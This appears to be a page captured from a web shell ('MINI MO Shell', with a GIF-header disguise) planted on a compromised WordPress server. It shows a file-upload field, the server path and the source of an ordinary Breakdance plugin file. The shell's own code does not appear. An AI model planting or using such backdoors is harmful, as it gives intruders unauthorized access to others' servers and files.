GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxygen/plugin/design-library/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxygen/plugin/design-library/builder.php

<?php

namespace Breakdance\DesignLibrary;

use function Breakdance\Elements\control;
use function Breakdance\Elements\controlSection;

add_filter('breakdance_element_controls', 'Breakdance\DesignLibrary\addControls', 69, 2);

/**
 * @param Control[] $controls
 * @param \Breakdance\Elements\Element $element
 * @return Control[]
 */
function addControls($controls, $element)
{
    $copyableElements = getCopyableElements();
    $isCopyable = in_array($element::slug(), $copyableElements);

    if (!isDesignLibraryEnabled()) return $controls;
    if (!$isCopyable) return $controls;

    $controls['settingsSections'][] = controlSection(
        'design_library',
        __('Design Library', 'breakdance'),
        [
            control('disabled', __('Disable For This Element', 'breakdance'), [
                'type' => 'toggle',
                'layout' => 'vertical'
            ]),
        ],
        ['isExternal' => true]
    );

    /** @var Control[] $controls */
    return $controls;
}

OHA YOOO - Tarih: 2026-08-03 21:44:01